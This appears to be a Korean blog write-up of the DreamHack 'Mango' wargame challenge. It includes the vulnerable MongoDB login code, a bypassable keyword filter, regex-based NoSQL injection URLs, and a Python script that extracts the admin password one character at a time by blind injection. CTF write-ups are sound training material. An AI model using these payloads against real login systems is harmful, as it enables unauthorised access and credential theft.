[Web Hacking] DH Mango

KyungH·2024년 3월 8일

Web Hacking War Game

목록 보기
9/17
post-thumbnail

📝Problem - Mango

admin 계정의 비밀번호를 알아내어 FLAG를 획득하는 문제이다.

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

/login 페이지에서는 이용자가 입력한 uid, upw로 데이터베이스에서 검색하여 결과를 반환한다.

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

일부 문자열을 필터링해주는 함수이다. 하지만 이러한 방법으로는 모든 경우를 필터링 할 수 없다. 취약점이 발생하는 근본적인 원인을 해결해야만 한다.


📌Approach

const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }

사용자가 입력한 값, 쿼리 변수의 자료형을 따로 확인하지 않고 그대로 데이터베이스에서 검색을 수행하고 있다. 이는 MongoDB에서 지원하는 배열, 오브젝트 자료형을 사용할 수 있어, NoSQL Injection 취약점이 발생할 수 있다.


📌Solution

else if(result){
            res.send(result['uid']);
        }

/login 페이지에서는 로그인에 성공했을 경우 uid만 출력한다. admin의 비밀번호를 알아야 하는 이 문제에서는 단순하게 로그인을 우회해서는 풀 수 없다. 따라서 Blind NoSQL Injection을 통해 admin의 upw를 획득해야 한다.

MongoDB의 $regex 연산을 사용하여 데이터를 검색한다. upw가 일치할경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다.

http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*

또한 filter 함수가 admin, dh, admi를 필터링 하므로 정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회할 수 있다.

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*

정규표현식을 통해 한 글자씩 알아내는 과정은 스크립트를 작성하여 진행한다.
위에서 설명한대로, upw가 일치할경우 uid를 출력하므로, requests.get의 응답에 admin이 포함되어있으면, upw가 일치한다는 것이므로 flag에 추가해준다.

import requests, string

HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')

반복문이 진행되면서 한 글자씩 알아낼 때마다 flag를 출력하면 FLAG를 다음과 같이 확인할 수 있다.


References

DreamHack 강의 - Exercise: NoSQL Injection

0개의 댓글